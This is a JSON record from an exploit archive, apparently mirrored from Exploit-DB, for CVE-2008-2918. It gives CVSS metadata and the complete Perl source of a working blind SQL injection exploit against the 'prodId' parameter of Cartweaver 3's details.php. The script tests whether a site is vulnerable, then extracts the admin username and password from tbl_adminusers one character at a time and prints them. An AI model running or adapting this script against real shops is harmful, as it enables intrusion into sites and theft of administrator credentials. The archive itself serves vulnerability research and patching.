{"exploit":{"id":"EDB-5815","name":"Cartweaver 3 - 'prodId' Blind SQL Injection (SQLi)","description":"Cartweaver 3 - 'prodId' Blind SQL Injection (SQLi)","cves":["CVE-2008-2918"],"author":"anonymous","published":"2008-06-14","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5815","path":"exploits/php/webapps/5815.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5815.pl","vulnerabilities":[{"id":"CVE-2008-2918","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in details.php in Application Dynamics Cartweaver 3.0 allows remote attackers to execute arbitrary SQL commands via the prodId parameter, possibly a related issue to CVE-2006-2046.3.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2918","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2918"},"updatedAt":"2024-08-07T09:21:34.385Z","retrievedAt":"2026-11-27T11:09:09.738Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5815.png?v=2","url":"https://exploitbin.com/exploits/EDB-5815","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5815/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5815/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n######################\n#\n#Cartweaver 3 PHP Blind SQL Injection Substring Vulnerability\n#\n######################\n#\n#Bug by: h0yt3r\n#\n#Dork: n/a (brainusing required)\n#\n##\n###Releasing it to the public\n##\n#\n#No error messages are being returned.\n#Exploit need a vaild Product ID!\n#\n#SQL Injection:\n#http://[target]/[path]/details.php?prodId=[SQL]\n#\n##\n#Gr33tz go to:\n#b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team\n#\n################\nuse LWP::UserAgent;\nmy $userAgent = LWP::UserAgent->new;\n\nusage();\n\n$server = $ARGV[0];\n$dir = $ARGV[1];\n$prod_id =$ARGV[2];\n\n\nprint\"\\n\";\nif (!$dir) { die \"Read Usage!\\n\"; }\n\n\n$filename =\"details.php\";\n\nmy $vulnCheck = \"http://\".$server.$dir.$filename;\n\nmy @Daten = (\"61\",\"62\",\"63\",\"64\",\"65\",\"66\",\"67\",\"68\",\"69\",\"6A\",\"6B\",\"6C\",\"6D\",\"6E\",\"6F\",\"70\",\"71\",\"72\",\"73\",\"74\",\"75\",\"76\",\"77\",\"78\",\"79\",\"7A\",\"3A\",\"5F\",\"31\",\"32\",\"33\",\"34\",\"35\",\"36\",\"37\",\"38\",\"39\",\"30\",\"21\",\"23\",\"2B\",\"28\",\"29\",\"40\",\"2D\",\"F5\",\"25\",\"26\",\"2F\",\"3F\");\n\nprint\"[x]Connecting:\";\nmy $goodSite = $vulnCheck.\"?prodId=\".$prod_id.\" AND 1=1\";\nmy $badSite = $vulnCheck.\"?prodId=\".$prod_id.\" AND 1=0\";\n\nmy $Attack1= $userAgent->get($goodSite);\nmy $Attack2= $userAgent->get($badSite);\nif($Attack1->is_success)\n{\n    print \" Connected \\n\";\n    print \"[x]Vulnerable Check: \";\n\n    if($Attack2->content =~ m/No product selected./i && $Attack1->content !~ m/No product selected./i)\n        { print \"Vulnerable! \\n\"; }\n    else\n        { print \"Not Vulnerable or wrong Product ID\"; exit;}\n}\n\nelse\n{\n    print \" Connection Failed to \".$goodSite.\"\";\n    exit;\n}\n\n\nmy $hex=\"\";\nmy $length;\n\nprint \"[x]Bruteforcing Length \\n\";\n\nmy $lengthCounter = 1;\nwhile(1)\n{\n    my $url = \"\".$vulnCheck.\"?prodId=\".$prod_id.\"%20and%20LENGTH((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1))=\".$lengthCounter.\"\";\n    my $Attack= $userAgent->get($url);\n    my $content = $Attack->content;\n    if($content !~ m/No product selected./i)\n        { $length=$lengthCounter; last; }\n    else\n        { $lengthCounter++; }\n}\n\nprint \"[x]Injecting Black Magic \\n\";\n\nfor($b=1;$b<=$length;$b++)\n{\n    for(my $u=0;$u<53;$u++)\n    {\n\n        my $url = \"\".$vulnCheck.\"?prodId=\".$prod_id.\"%20and%20substring((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1),\".$b.\",1)%20like%200x\".$Daten[$u].\"\";\n        my $Attack= $userAgent->get($url);\n        my $content = $Attack->content;\n        if($content !~ m/No product selected./i)\n        {\n            print \"[x]Found Char \".$Daten[$u].\"\\n\";\n            $hex=$hex.$Daten[$u];\n            last;\n        }\n\n    }\n}\n\nprint \"[x]Converting \\n\";\nmy $a_str = hex_to_ascii($hex);\n\n@login = split(/\\:/, $a_str);\n\nprint \"[x]Success! \\n\";\nprint \"     Username: $login[0]\\n\";\nprint \"     Password: $login[1]\";\n\n\n\nsub hex_to_ascii ($)\n{\n        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;\n        return $str;\n}\n\n\n\nsub usage()\n{\n    print q\n    {\n    ######################################################\n            Cartweaver 3 Remote Blind SQL Injection Exploit\n                          -Written by h0yt3r-\n    Usage: cartweaver.pl [Server] [Path] [Product ID]\n    Sample:\n    perl Cartweaver.pl www.site.com /cartweaver/ 13\n    ######################################################\n    };\n\n}\n\n# milw0rm.com [2008-06-14]","sha256":"bfeafdfc7c30a2e65176ed1d926b06162e94ac1a61378a2c19d804d540bd197c","bytes":3359,"fetchedAt":"2026-11-27T11:09:06.579Z","encoding":"utf-8 (display only; download retains original bytes)"}